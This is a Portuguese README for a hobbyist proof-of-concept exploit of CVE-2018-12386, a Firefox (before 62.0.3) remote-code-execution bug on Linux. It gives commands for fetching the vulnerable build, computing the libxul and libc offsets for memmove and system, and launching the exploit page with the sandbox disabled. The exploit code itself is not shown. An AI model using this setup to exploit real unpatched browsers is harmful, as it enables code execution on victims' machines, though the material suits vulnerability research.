
CVE-2018-12386 - Exploit de RCE em sandbox do Firefox para Linux (Firefox <v62.0.3)
Aqui está um exploit simples para a vulnerabilidade CVE-2018-12386 encontrada por Niklas Baumstark, Samuel Groß e Bruno Keith.
Isto é principalmente uma PoC que fiz por diversão, não há bypass de sandbox e só
funcionará em uma configuração Linux específica onde os offsets usados pelo exploit já são
conhecidos (eles podem ser alterados em exploit/offsets.js).
Este exploit funciona para versões anteriores ao Firefox 62.0.3 e Firefox ESR 60.2.2.
Você pode baixar versões antigas do Firefox diretamente do servidor FTP da Mozilla: https://ftp.mozilla.org/pub/firefox/releases/
Você pode usar, por exemplo, a versão 62.0.2 para Linux 64 bits: https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2.
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar
libxul.soSe você estiver usando o Firefox 62.0.2, os offsets fornecidos em exploit/offsets.js
devem ser os corretos.
Para outras versões, uma maneira fácil de fazer isso é usar
a primitiva addrof para vazar o endereço da função JavaScript
Math.max, depois encontrar o endereço base de libxul.so para a instância do
Firefox que você está explorando (com cat /proc/$(pidof firefox)/maps
por exemplo) e subtrair os dois para obter o offset libxul_math_max.
Se você estiver usando o Firefox 62.0.2, os offsets fornecidos em exploit/offsets.js
devem ser os corretos.
Para outras versões, uma maneira fácil de fazer isso é usar objdump.
[asriel@core firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
8006f0: ff 25 7a ac 40 05 jmpq *0x540ac7a(%rip) # 5c0b370 <memmove@GLIBC_2.2.5>
5c0b370 é o valor que você precisa, ou seja, o offset de memmove em libxul.so.
libc.so.6Esses offsets dependem completamente da versão da libc que você usa.
# libc.so.6 location
[asriel@core firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/usr/lib/libc.so.6
[asriel@core firefox-62.0.2]$ nm /usr/lib/libc.so.6 | grep __memmove_avx_unaligned_erms
0000000000160c90 t __memmove_avx_unaligned_erms
[asriel@core firefox-62.0.2]$ nm /usr/lib/libc.so.6 | grep " system"
0000000000044dd0 W system
Depois de ter o Firefox e os offsets corretos, você pode testar o exploit executando o seguinte comando:
MOZ_DISABLE_CONTENT_SANDBOX=1 /path/to/vulnerable/firefox /path/to/cve-2018-12386/exploit/pwn.html

Se quiser dizer oi: @Asri3l